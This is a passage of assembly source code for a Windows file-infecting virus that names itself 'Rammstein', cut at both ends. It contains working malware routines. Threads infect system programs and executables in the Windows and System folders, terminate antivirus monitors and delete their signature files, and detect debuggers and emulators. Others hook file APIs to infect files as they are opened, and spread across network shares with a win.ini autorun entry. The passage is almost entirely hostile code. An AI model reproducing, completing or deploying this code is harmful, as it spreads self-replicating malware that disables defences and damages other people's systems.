call not_list ;restore names...
;
push 260d ;
call windir ;get the Windows dir.
name_ db 260d dup (0) ;
;
windir: ;
call [ebp+_GetWindowsDirectoryA] ;
lea edi, [ebp+name_] ;point the dir path
xchg eax, edx ;
lea esi, [ebp+direct_list] ;point names
inc esi ;
inc esi ;
;
direct_loop: ;
mov word ptr [edi+edx], 005Ch ;mark terminator slash
cmp byte ptr [esi], 0FFh ;was last name?
je direct_end ;
call [ebp+_lstrcat], edi, esi ;concatenate stringz
lea eax, [ebp+W32FD] ;pointer to find data
call [ebp+_FindFirstFileA], edi, eax ;find file
cmp eax, INVALID_HANDLE_VALUE ;none?
je next_direct ;
;
push edi ;
lea edi, [edi.WFD_cFileName] ;
@001: cmp [ebp+free_routine], NOT_AVAILABLE ;
je @001 ;
mov [ebp+free_routine], NOT_AVAILABLE ;
call InfectFile ;Infect it!!
pop edi ;
mov [ebp+free_routine], AVAILABLE ;
;
next_direct: ;
@endsz ;go to end of string
jmp direct_loop ;and do it again...
ENDIF ;
;
direct_end: ;
lea esi, [ebp+offset direct_list] ;point names again and
mov ecx, direct_list_len ;restore encryption
call not_list ;
;
IF THREAD1SEH ;
jmp restore_thread1_seh ;host
;
Thread1Exception: ;if we had an error we
mov esp, [esp+8] ;must restore the ESP
call DeltaRecover1 ;
DeltaRecover1: ;
pop ebp ;
sub ebp, offset DeltaRecover1 ;
;
restore_thread1_seh: ;
pop dword ptr fs:[0] ;and restore the SEH
add esp, 4 ;
ENDIF ;
;
push 0 ;
push 5 ;
push [ebp+hsemaphore] ;
call [ebp+_ReleaseSemaphore] ;release the semaphore
call [ebp+_ExitThread], 0 ;
Thread_1_StartAddress endp ;
;
direct_list: ;the direct action list
IF DEBUG ;if debug is on only
noter <L> ;
noter <DGoat*.*> ;goat files will be
ELSE ;infected...
noter <L> ;
noter <Cdplayer.exe> ; Like CD music?
noter <Notepad.exe> ; Like to write stuff?
noter <Wordpad.exe> ; Like to write better?<g>
noter <Calc.exe> ; Like to calculate?
noter <DrWatson.exe> ; Fear the errors?
noter <Extrac32.exe> ; Like to extract?
noter <Mplayer.exe> ; Like mpegs?
noter <MsHearts.exe> ; Like stupid games?
noter <WinMine.exe> ; And more stupid games?
noter <Sol.exe> ; And still more stupid?
noter <SndVol32.exe> ; Like to adjust yer vol?
noter <WinHlp32.exe> ; Are you using help?
ENDIF ; Well... TO BAD !!!! ;-)
direct_list_len = $ - offset direct_list ;
db 0FFh ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;Û This Thread is the directory infector thread
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Thread_2_StartAddress proc PASCAL tdelta: dword ;
call @Thread2Delta ;
@Thread2Delta: ;
pop ebp ;
sub ebp, offset @Thread2Delta ;
;
IF THREAD2SEH ;
lea eax, [ebp+Thread2Exception] ; Setup a SEH frame
push eax ;
push dword ptr fs:[0] ;
mov fs:[0], esp ;
ENDIF ;
;
push 0 ;Get the drive type. If
call [ebp+_GetDriveTypeA] ;it is a fixed drive
sub [ebp+crt_dir_flag], eax ;than this value = 0
;
push 260 ;Get Windows directory
call @1 ;
wdir db 260 dup(0) ;
@1: call [ebp+_GetWindowsDirectoryA] ;
;
push 260 ;Get System directory
call @2 ;
sysdir db 260 dup(0) ;
@2: call [ebp+_GetSystemDirectoryA] ;
;
call @3 ;Get current directory
crtdir db 260 dup(0) ;
@3: push 260 ;
call [ebp+_GetCurrentDirectoryA] ;
;
cmp dword ptr [ebp+crt_dir_flag], 0 ;are we on a fixed disk?
jne direct_to_windows ;
;
mov dword ptr [ebp+infections], 0FFFFh ;infect all files there
call Infect_Directory ;
;
direct_to_windows: ;
cmp [ebp+firstgen], 1 ;
je back_to_current_dir ;
;
lea eax, [ebp+offset wdir] ;Change to Windows dir.
push eax ;
call [ebp+_SetCurrentDirectoryA] ;
;
mov dword ptr [ebp+infections], 3 ;infect 3 files there
call Infect_Directory ;
;
lea eax, [ebp+offset sysdir] ;Change to System dir.
push eax ;
call [ebp+_SetCurrentDirectoryA] ;
;
mov dword ptr [ebp+infections], 3 ;infect 3 files there
call Infect_Directory ;
;
back_to_current_dir: ;
lea eax, [ebp+offset crtdir] ;Change back to crt dir.
push eax ;
call [ebp+_SetCurrentDirectoryA] ;
;
IF THREAD2SEH ;
jmp restore_thread2_seh ;host
;
Thread2Exception: ;if we had an error we
mov esp, [esp+8] ;must restore the ESP
call DeltaRecover2 ;
DeltaRecover2: ;
pop ebp ;
sub ebp, offset DeltaRecover2 ;
;
restore_thread2_seh: ;
pop dword ptr fs:[0] ;and restore the SEH
add esp, 4 ;
ENDIF ;
;
push 0 ;
push 5 ;
push [ebp+hsemaphore] ;
call [ebp+_ReleaseSemaphore] ;
call [ebp+_ExitThread], 0 ;
infections dd 0 ;
crt_dir_flag dd 3 ;
;
Infect_Directory proc ;directory scanner
pusha ;
lea esi, [ebp+file_extensions] ;restore filenames
mov ecx, file_extensions_len ;
call not_list ;
inc esi ;
inc esi ;
;
find_first_file: ;
cmp byte ptr [esi], 0FFh ;last?
je done_directory ;
lea edi, [ebp+offset W32FD] ;find first!!
call [ebp+_FindFirstFileA], esi, edi ;
mov edx, eax ;
;
compare_result: ;
cmp eax, INVALID_HANDLE_VALUE ;
je next_extension ;
or eax, eax ;
je next_extension ;
push edi ;
lea edi, [edi.WFD_cFileName] ;point name...
@002: cmp [ebp+free_routine], NOT_AVAILABLE ;syncronize!!!
je @002 ;
mov [ebp+free_routine], NOT_AVAILABLE ;
call InfectFile ;infect it!
mov [ebp+free_routine], AVAILABLE ;
pop edi ;
jc find_next_file ;
dec [ebp+infections] ;
cmp [ebp+infections], 0 ;
jz done_directory ;
;
find_next_file: ;
push edx ;
call [ebp+_FindNextFileA], edx, edi ;find next
pop edx ;
jmp compare_result ;
;
next_extension: ;
@endsz ;
jmp find_first_file ;
;
done_directory: ;
lea esi, [ebp+file_extensions] ;recrypt the extenstions
mov ecx, file_extensions_len ;
call not_list ;
popa ;
ret ;
Infect_Directory endp ;
;
file_extensions: ;the list with valid
IF DEBUG ;
noter <L> ;
noter <GOAT*.EXE> ;extensions
noter <GOAT*.COM> ;
noter <GOAT*.ACM> ;
noter <GOAT*.CPL> ;
noter <GOAT*.HDI> ;
noter <GOAT*.OCX> ;
noter <GOAT*.PCI> ;
noter <GOAT*.QTC> ;
noter <GOAT*.SCR> ;
noter <GOAT*.X32> ;
noter <GOAT*.CNV> ;
noter <GOAT*.FMT> ;
noter <GOAT*.OCM> ;
noter <GOAT*.OLB> ;
noter <GOAT*.WPC> ;
ELSE ;extensions
noter <L> ;
noter <*.EXE> ;normal exe
noter <*.COM> ;same
noter <*.ACM> ;
noter <*.CPL> ;control panel object
noter <*.HDI> ;heidi file
noter <*.OCX> ;windowz ocx
noter <*.PCI> ;
noter <*.QTC> ;
noter <*.SCR> ;screen saver
noter <*.X32> ;
noter <*.CNV> ;
noter <*.FMT> ;
noter <*.OCM> ;
noter <*.OLB> ;
noter <*.WPC> ;
ENDIF ;
file_extensions_len = $-offset file_extensions ;
db 0FFh ;
Thread_2_StartAddress endp ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;Û This Thread is the AV monitors and checksums killer thread
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Thread_3_StartAddress proc PASCAL tdelta: dword ;
call @Thread3Delta ;
@Thread3Delta: ;
pop ebp ;
sub ebp, offset @Thread3Delta ;
;
IF THREAD3SEH ;
lea eax, [ebp+Thread3Exception] ; Setup a SEH frame
push eax ;
push dword ptr fs:[0] ;
mov fs:[0], esp ;
ENDIF ;
;
IF ANTIAV ;
lea esi, [ebp+av_monitors] ;First kill some monitors
mov ecx, monitors_nr ;
;
LocateMonitors: ;
push ecx ;
call [ebp+_FindWindowA], 0, esi ;
xchg eax, ecx ;
jecxz get_next_monitor ;
call [ebp+_PostMessageA], ecx, WM_ENDSESSION, 0, 0
;
get_next_monitor: ;
@endsz ;
pop ecx ;
loop LocateMonitors ;
;
lea esi, [ebp+offset av_list] ;point av files list
mov ecx, av_list_len ;and
call not_list ;restore names...
inc esi ;
inc esi ;
lea edi, [ebp+offset searchfiles] ;point to Search Record
;
locate_next_av: ;
mov eax, esi ;
cmp byte ptr [eax], 0FFh ;is this the end?
je av_kill_done ;
push edi ;push search rec. address
push eax ;push filename address
call [ebp+_FindFirstFileA] ;find first match
inc eax ;
jz next_av_file ;
dec eax ;
push eax ;
lea ebx, [edi.WFD_cFileName] ;ESI = ptr to filename
push 80h ;
push ebx ;
call [ebp+_SetFileAttributesA] ;
push ebx ;push filename address
call [ebp+_DeleteFileA] ;delete file!
;
call [ebp+_FindClose] ;close the find handle
;
next_av_file: ;
@endsz ;
jmp locate_next_av ;
;
av_kill_done: ;
lea esi, [ebp+offset av_list] ;point av files list
mov ecx, av_list_len ;
call not_list ;hide names...
ENDIF ;
;
IF THREAD3SEH ;
jmp restore_thread3_seh ;host
;
Thread3Exception: ;if we had an error we
mov esp, [esp+8] ;must restore the ESP
call DeltaRecover3 ;
DeltaRecover3: ;
pop ebp ;
sub ebp, offset DeltaRecover3 ;
;
restore_thread3_seh: ;
pop dword ptr fs:[0] ;and restore the SEH
add esp, 4 ;
ENDIF ;
;
push 0 ;
push 5 ;
push [ebp+hsemaphore] ;
call [ebp+_ReleaseSemaphore] ;
call [ebp+_ExitThread], 0 ;
Thread_3_StartAddress endp ;
av_monitors label ;
db 'AVP Monitor', 0 ;
db 'Amon Antivirus Monitor', 0 ;
monitors_nr = 2 ;
;
searchfiles WIN32_FIND_DATA <?> ;
;
av_list label ;
noter <L> ;
noter <AVP.CRC> ;the av files to kill
noter <IVP.NTZ> ;
noter <Anti-Vir.DAT> ;
noter <CHKList.MS> ;
noter <CHKList.CPS> ;
noter <SmartCHK.MS> ;
noter <SmartCHK.CPS> ;
noter <AVG.AVI> ;
noter <NOD32.000> ;
noter <DRWEBASE.VDB> ;
noter <AGUARD.DAT> ;
noter <AVGQT.DAT> ;
noter <LGUARD.VPS> ;
av_list_len = $ - offset av_list ;
db 0FFh ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;Û This Thread is the anti-debugging and anti-emulation thread
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Thread_4_StartAddress proc PASCAL tdelta: dword ;
call @Thread4Delta ;
@Thread4Delta: ;
pop ebp ;
sub ebp, offset @Thread4Delta ;
;
IF THREAD4SEH ;
lea eax, [ebp+Thread4Exception] ; Setup a SEH frame
push eax ;
push dword ptr fs:[0] ;
mov fs:[0], esp ;
ENDIF ;
;
IF ANTIEMU ;
lea eax, [ebp+DebuggerKill] ;antidebugging stuffs.
push eax ;Here we set up a new
xor ebx, ebx ;seh frame and then we
push dword ptr fs:[ebx] ;make an exception error
mov fs:[ebx], esp ;occur.
dec dword ptr [ebx] ;TD stops here if in
;default mode.
jmp shut_down ;
;
DebuggerKill: ;
mov esp, [esp+8] ;the execution goes here
pop dword ptr fs:[0] ;
add esp, 4 ;
;
db 0BDh ;delta gets lost so we
delta2 dd 0 ;must restore it...
;
call @7 ;here we try to retrieve
db 'IsDebuggerPresent', 0 ;IsDebuggerPresent API
@7: push [ebp+k32] ;if we fail it means we
call [ebp+_GetProcAddress] ;don't have this api
or eax, eax ;(Windows95)
jz continue_antiemu ;
;
call eax ;Let's check if our
or eax, eax ;process is being
jne shut_down ;debugged.
;
mov ecx, fs:[20h] ; ECX = Context of debugger
jecxz softice ; If ECX<>0, we're debugged
jmp shut_down ;
;
softice: ;
lea edi, [ebp+SoftIce1] ;try to see if we are
call detect_softice ;being debugged by
jc shut_down ;softice
lea edi, [ebp+SoftIce1] ;
call detect_softice ;
jc shut_down ;
jmp nod_ice ;
;
detect_softice: ;
xor eax, eax ;
push eax ;
push 00000080h ;
push 00000003h ;
push eax ;
inc eax ;
push eax ;
push 80000000h or 40000000h ;
push edi ;
call [ebp+_CreateFileA] ;
;
inc eax ;
jz cantcreate ;
dec eax ;
;
push eax ;
call [ebp+_CloseHandle] ;
stc ;
db 0c3h ;
;
cantcreate: ;
clc ;
db 0c3h ;
;
nod_ice: ;
cmp byte ptr [ebp+version], 4 ;can we use debug regs?
jae cannot_kill_debug ;
;
lea esi, [ebp+drs] ;Debug Registers opcodes
mov ecx, 7 ;7 registers
lea edi, [ebp+bait] ;point the opcode place
;
repp: ;
lodsb ;take the opcode
mov byte ptr [edi], al ;generate instruction
call zapp ;call it!
loop repp ;do it again
jmp compute_now ;
;
zapp: ;
xor eax, eax ;eax = 0
dw 230fh ;to mov DRx, eax
bait label ;
db 0 ;
db 0C3h ;
;
drs db 0c0h, 0c8h, 0d0h, 0d8h, 0e8h, 0f0h, 0f8h ;debug registers opcodes
;
compute_now: ;
mov eax, dr0 ;
cmp eax, 0 ;
jne shut_down ;
;
cannot_kill_debug: ;
IF MMX ;
cmp [ebp+mmx], TRUE ;
jne no_mmx_here ;
mov ecx, 6666h ;do some loops
mov eax, 1111h ;very lite mmx_usage
; movd1 mm1, esi ;
; movd1 eax, mm1 ;
; cmp eax, esi ;
; jne shut_down ;
ENDIF ;
;
no_mmx_here: ;
mov ebx, esp ;or by nod ice and
push cs ;others...
pop eax ;
cmp esp, ebx ;
jne shut_down ;
jmp continue_antiemu ;
;
shut_down: ;
IF DEBUG ;
call [ebp+_MessageBoxA], 0, offset debug, offset debug, 0
ENDIF ;
push 0 ;If so, close down!!
call [ebp+_ExitProcess] ;close
IF DEBUG ;
debug db 'Shut down by anti-emulator', 0 ;
ENDIF ;
continue_antiemu: ;
ELSE ;
ENDIF ;
;
IF THREAD4SEH ;
jmp restore_thread4_seh ;host
;
Thread4Exception: ;if we had an error we
mov esp, [esp+8] ;must restore the ESP
call DeltaRecover4 ;
DeltaRecover4: ;
pop ebp ;
sub ebp, offset DeltaRecover4 ;
;
restore_thread4_seh: ;
pop dword ptr fs:[0] ;and restore the SEH
add esp, 4 ;
ENDIF ;
;
push 0 ;
push 5 ;
push [ebp+hsemaphore] ;
call [ebp+_ReleaseSemaphore] ;
call [ebp+_ExitThread], 0 ;
;
SoftIce1 db "\\.\SICE",0 ;
SoftIce2 db "\\.\NTICE",0 ;
Thread_4_StartAddress endp ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;Û This Thread is the API hooker thread
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Thread_5_StartAddress proc PASCAL tdelta: dword ;
call @Thread5Delta ;
@Thread5Delta: ;
pop ebp ;
sub ebp, offset @Thread5Delta ;
;
IF THREAD5SEH ;
lea eax, [ebp+Thread5Exception] ; Setup a SEH frame
push eax ;
push dword ptr fs:[0] ;
mov fs:[0], esp ;
ENDIF ;
;
cmp [ebp+skipper], 1 ;
je error ;
;
IF APIHOOK ;
cmp [ebp+firstgen], 1 ;don't hook gen0
je error ;
mov ebx, dword ptr [ebp+ourimagebase] ; now put imagebase in ebx
mov esi, ebx ;
mov ax, word ptr [esi] ;
xor ax, 'GSRS' ;
cmp ax, 'ZM' xor 'GSRS' ; check if it is an EXE
jne error ;
mov esi, dword ptr [esi.MZ_lfanew] ; get pointer to PE
cmp esi, 1000h ; too far away?
jae error ;
add esi, ebx ;
mov ax, word ptr [esi] ;
xor ax, 'DC4û' ;
cmp ax, 'EP' xor 'DC4û' ; is it a PE?
jne error ;
add esi, IMAGE_FILE_HEADER_SIZE ; skip header
mov edi, dword ptr [esi.OH_DataDirectory.DE_Import.DD_VirtualAddress]
add edi, ebx ; and get import RVA
mov ecx, dword ptr [esi.OH_DataDirectory.DE_Import.DD_Size]
add ecx, edi ; and import size
mov eax, edi ; save RVA
;
locate_module: ;
mov edi, dword ptr [edi.ID_Name] ; get the name
add edi, ebx ;
push eax ;
mov eax, [edi] ;
xor eax, 'øSOHáý' ;
cmp eax, 'NREK' xor 'øSOHáý' ; and compare to KERN
pop eax ;
je found_the_import_module ; if it is not that one
add eax, IMAGE_IMPORT_DESCRIPTOR_SIZE ; skip to the next desc.
mov edi, eax ;
cmp edi, ecx ; but not beyond the size
jae error ; of the descriptor
jmp locate_module ;
;
found_the_import_module: ; if we found the kernel
mov edi, eax ; import descriptor
mov esi, dword ptr [edi.ID_FirstThunk] ; take the pointer to
add esi, ebx ; addresses
mov edi, dword ptr [edi.ID_Characteristics] ; and the pointer to
or edi, edi ; no names? ;-(
jz error ;
add edi, ebx ; names
mov edx, functions_nr ;
;
hooked_api_locate_loop: ;
push edi ; save pointer to names
mov edi, dword ptr [edi.TD_AddressOfData] ; go to the actual thunk
add edi, ebx ;
add edi, 2 ; and skip the hint
;
push edi esi ; save these
xchg edi, esi ;
call StringCRC32 ; eax = crc32
;
push edi ecx ;search them...
lea edi, [ebp+HookedFunctions] ;
mov ecx, functions_nr ;
;
check: ;
cmp [edi], eax ;does it match?
je found_it ;
add edi, 8 ;get next...
loop check ;
jmp not_found ;
;
found_it: ;
mov eax, [edi+4] ;get the new address
mov [ebp+tempcounter], edi ;
add eax, ebp ;and align to imagebase
pop ecx edi ;
jmp found_one_api ;
;
not_found: ;
pop ecx edi ;
;
pop esi edi ; otherwise restore
;
pop edi ; restore arrays indexes
;
api_next: ;
add edi, 4 ; and skip to next
add esi, 4 ;
cmp dword ptr [esi], 0 ; 0? -> end of import
je error ;
jmp hooked_api_locate_loop ;
;
found_one_api: ;
pop esi ; restore stack
pop edi ;
pop edi ;
;
pusha ;
mov edi, [ebp+tempcounter] ;
mov ebx, [esi] ;
lea eax, [ebp+offset HookedFunctions] ;
sub edi, eax ;
mov ecx, 8 ;
xchg eax, edi ;
xor edx, edx ;
div ecx ;
imul eax, eax, proc_len ;
lea edi, [ebp+StartOfHooks] ;
add edi, eax ;
mov byte ptr [edi+5], 0E9h ;
sub ebx, edi ;
add ebx, 05h-0fh ;
mov [edi+6], ebx ;
popa ;
;
mov [esi], eax ;save new api address!!!
dec edx ;did we find all?
jz error ;
jmp api_next ;
ENDIF ;
;
error: ;
mov [ebp+apihookfinish], 1 ;
IF THREAD5SEH ;
jmp restore_thread5_seh ;host
;
Thread5Exception: ;if we had an error we
mov esp, [esp+8] ;must restore the ESP
call DeltaRecover5 ;
DeltaRecover5: ;
pop ebp ;
sub ebp, offset DeltaRecover5 ;
;
restore_thread5_seh: ;
pop dword ptr fs:[0] ;and restore the SEH
add esp, 4 ;
ENDIF ;
;
push 0 ;
push 5 ;
push [ebp+hsemaphore] ;
call [ebp+_ReleaseSemaphore] ;
call [ebp+_ExitThread], 0 ;
Thread_5_StartAddress endp ;
;
StartOfHooks label ;
Hook_CopyFileA: ;Here come the hook
call Hooker ;redirectors...
jmp [ebp+_CopyFileA] ;
Hook_CopyFileExA: ;
call Hooker ;
jmp [ebp+_CopyFileExA] ;
Hook_CreateFileA: ;
call CreateFileHooker ;
jmp [ebp+_CreateFileA] ;
Hook_GetCompressedFileSizeA: ;
call Hooker ;
jmp [ebp+_GetCompressedFileSizeA] ;
Hook_GetFileAttributesA: ;
call Hooker ;
jmp [ebp+_GetFileAttributesA] ;
Hook_GetFileAttributesExA: ;
call Hooker ;
jmp [ebp+_GetFileAttributesExA] ;
Hook_SetFileAttributesA: ;
call Hooker ;
jmp [ebp+_SetFileAttributesA] ;
Hook_GetFullPathNameA: ;
call Hooker ;
jmp [ebp+_GetFullPathNameA] ;
Hook_MoveFileA: ;
call Hooker ;
jmp [ebp+_MoveFileA] ;
Hook_MoveFileExA: ;
call Hooker ;
jmp [ebp+_MoveFileExA] ;
Hook_OpenFile: ;
call Hooker ;
jmp [ebp+_OpenFile] ;
Hook_CreateProcessA: ;
call Hooker ;
jmp [ebp+_CreateProcessA] ;
Hook_WinExec: ;
call Hooker ;
jmp [ebp+_WinExec] ;
Hook_DestroyWindow: ;
call ExitProcessHooker ;
jmp [ebp+_DestroyWindow] ;
Hook_ExitProcess: ;
call ExitProcessHooker ;
jmp [ebp+_ExitProcess] ;
proc_len = $-Hook_ExitProcess ;
;
Hooker proc ;And this is our hook...
pushad ;
pushfd ;
;
call @HookerDelta ;
@HookerDelta: ;
pop ebp ;
sub ebp, offset @HookerDelta ;
;
IF VIRUSNOTIFYHOOK ;
pusha ;
push 0 ;
call hooktext1 ;
db 'Rammstein viral hook code!', 0 ;
hooktext1: ;
call hooktext2 ;
db 'Rammstein viral hook code!', 0 ;
hooktext2: ;
push 0 ;
call [ebp+_MessageBoxA] ;
popa ;
ENDIF ;
;
good_to_infect: ;
mov esi, [esp+2ch] ;
push esi ;
call ValidateFile ;first validate the file
pop edi ;
jc no_good_file ;
;
@003: cmp [ebp+free_routine], NOT_AVAILABLE ;
je @003 ;
mov [ebp+free_routine], NOT_AVAILABLE ;
call InfectFile ;
mov [ebp+free_routine], AVAILABLE ;
;
no_good_file: ;
popfd ;
popa ;
ret ;
Hooker endp ;
;
ExitProcessHooker proc ;
pusha ;
call ExitHookerEbp ;
ExitHookerEbp: ;
pop ebp ;
sub ebp, offset ExitHookerEbp ;
;
mov [ebp+process_end], 1 ;
@fo: cmp [ebp+fileopen], TRUE ;we cannot allow shutdown
je @fo ;while our thread has a
popa ;file opened...
ret ;
ExitProcessHooker endp ;
;
CreateFileHooker proc ;
pusha ;
pushfd ;
call CreateFileEbp ;
CreateFileEbp: ;
pop ebp ;
sub ebp, offset CreateFileEbp ;
mov eax, [esp+2ch+4+4+4+4] ;
cmp eax, OPEN_EXISTING ;
je good_to_infect ;
;
popfd ;
popa ;
ret ;
CreateFileHooker endp ;
;
HookedFunctions: ;
crc32 <CopyFileA> ;
dd offset Hook_CopyFileA ;
crc32 <CopyFileExA> ;
dd offset Hook_CopyFileExA ;
crc32 <CreateFileA> ;
dd offset Hook_CreateFileA ;
crc32 <GetCompressedFileSizeA> ;
dd offset Hook_GetCompressedFileSizeA ;
crc32 <GetFileAttributesA> ;
dd offset Hook_GetFileAttributesA ;
crc32 <GetFileAttributesExA> ;
dd offset Hook_GetFileAttributesExA ;
crc32 <SetFileAttributesA> ;
dd offset Hook_SetFileAttributesA ;
crc32 <GetFullPathNameA> ;
dd offset Hook_GetFullPathNameA ;
crc32 <MoveFileA> ;
dd offset Hook_MoveFileA ;
crc32 <MoveFileExA> ;
dd offset Hook_MoveFileExA ;
crc32 <OpenFile> ;
dd offset Hook_OpenFile ;
crc32 <CreateProcessA> ;
dd offset Hook_CreateProcessA ;
crc32 <WinExec> ;
dd offset Hook_WinExec ;
crc32 <XDestroyWindow> ;
dd offset Hook_DestroyWindow ;
crc32 <ExitProcess> ;
dd offset Hook_ExitProcess ;
functions_nr = ($-offset HookedFunctions)/8 ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;Û This Thread is the Network Infector
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Thread_6_StartAddress proc PASCAL tdelta: dword ;
call @Thread6Delta ;
@Thread6Delta: ;
pop ebp ;
sub ebp, offset @Thread6Delta ;
;
IF NETWORKINFECTION ;
cmp [ebp+netapis], FALSE ;
je exit_netcrawl ;
;
IF THREAD6SEH ;
lea eax, [ebp+Thread6Exception] ; Setup a SEH frame
push eax ;
push dword ptr fs:[0] ;
mov fs:[0], esp ;
ENDIF ;
;
call NetInfection C, 0 ;
jmp done_net ;
;
NetInfection proc C lpnr:DWORD ;
;
local lpnrLocal :DWORD ;
local hEnum :DWORD ;
local ceEntries :DWORD ;
local cbBuffer :DWORD ;
;
pusha ;
call get_new_delta ;
get_new_delta: ;
pop edx ;
sub edx, offset get_new_delta ;
;
mov [ceEntries], 0FFFFFFFFh ;as many entries as poss.
mov [cbBuffer], 4000 ;memory buffer size
lea eax, [hEnum] ;handle to enumeration
mov esi, [lpnr] ;parameter
call [edx+_WNetOpenEnumA], RESOURCE_CONNECTED,\ ;open the enumeration
RESOURCETYPE_ANY, 0,\ ;
esi, eax ;
;
or eax, eax ;failed?
jnz exit_net ;
;
call [edx+_GlobalAlloc], GPTR, cbBuffer ;allocate memory
or eax, eax ;
jz exit_net ;
mov [lpnrLocal], eax ;save memory handle
;
enumerate: ;
lea eax, cbBuffer ;enumerate all the
push eax ;resources
mov esi, [lpnrLocal] ;
push esi ;
lea eax, ceEntries ;
push eax ;
push hEnum ;
call [edx+_WNetEnumResourceA] ;
;
or eax, eax ;failed?
jnz free_mem ;
;
mov ecx, [ceEntries] ;how many entries?
or ecx, ecx ;
jz enumerate ;
;
roam_net: ;
push ecx esi ;
;
mov eax, [esi.dwType] ;is it a disk resource?
test eax, RESOURCETYPE_DISK ;
jz get_next_entry ;
;
mov edi, [esi.lpRemoteName] ;get remote name
mov esi, [esi.lpLocalName] ;get local name
or esi, esi ;empty?
jz no_good_name ;
;
cmp word ptr [esi],0041 ;is it a floppy disk?
jz no_good_name ;
;
call RemoteInfection ;try to infect it!
;
no_good_name: ;
pop esi ;
;
mov eax, [esi.dwUsage] ;do we have a container?
test eax, RESOURCEUSAGE_CONTAINER ;
jz get_next_entry ;
;
push esi ;
call NetInfection ;recurse!!
;
get_next_entry: ;
add esi, 20h ;next resource!
pop ecx ;
loop roam_net ;
;
jmp enumerate ;and next enumeration...
;
free_mem: ;
call [edx+_GlobalFree], [lpnrLocal] ;free the memory
;
call [edx+_WNetCloseEnum], [hEnum] ;and close enumeration.
;
exit_net: ;
popa ;
ret ;
NetInfection endp ;
;
RemoteInfection proc ;
pusha ;
call @___1 ;restore the delta handle
@___1: ;
pop ebp ;
sub ebp, offset @___1 ;
;
push 260 ;get the current file
lea eax, [ebp+myname] ;name
push eax ;
push 0 ;
call [ebp+_GetModuleFileNameA] ;
or eax, eax ;
jz cannot_roam ;
;
lea esi, [ebp+windirs] ;point windows dir names
;
test_paths: ;
lea ebx, [ebp+droppername] ;copy path for dropper
call [ebp+_lstrcpy], ebx, edi ;
lea ebx, [ebp+winininame] ;copy path for win.ini
call [ebp+_lstrcpy], ebx, edi ;
;
lea ebx, [ebp+droppername] ;copy windows dir
call [ebp+_lstrcat], ebx, esi ;
lea eax, [ebp+drop] ;and dropper name
call [ebp+_lstrcat], ebx, eax ;
;
push TRUE ;now copy ourself over
push ebx ;the LAN under the new
lea eax, [ebp+myname] ;name into the remote
push eax ;windows directory
call [ebp+_CopyFileA] ;
or eax, eax ;
jz test_next ;
;
lea ebx, [ebp+winininame] ;copy the windows dir name
call [ebp+_lstrcat], ebx, esi ;to the win.ini path
lea eax, [ebp+winini] ;
call [ebp+_lstrcat], ebx, eax ;and it's name
;
lea eax, [ebp+winininame] ;Now create this entry
push eax ;into the win.ini file:
lea eax, [ebp+droppername] ;
push eax ;[Windows]
lea eax, [ebp+cmd] ;run=c:\windows\ramm.exe
push eax ;
inc esi ;
push esi ;
call [ebp+_WritePrivateProfileStringA] ;
jmp cannot_roam ;
;
test_next: ;
@endsz ;go and try the next
cmp byte ptr [esi], 0fh ;windows path!
jne test_paths ;
;
cannot_roam: ;
popa ;
ret ;
;
smash_dropper proc ;this procedure acts like
pusha ;this:
push 260 ;if the file ramm.exe
call ramm_name ;exists in the windows dir
r_n: db 260 dup(0) ;and there is no entry
ramm_name: ;to run it at next boot
call [ebp+_GetWindowsDirectoryA] ;in the win.ini file, then
;it will erase the file.
lea edx, [ebp+r_n] ;if the file ramm.exe
push edx ;does not exist, but there
call [ebp+_lstrlen] ;is an entry in the win
mov edi, eax ;ini file, then it will
;remove the entry.
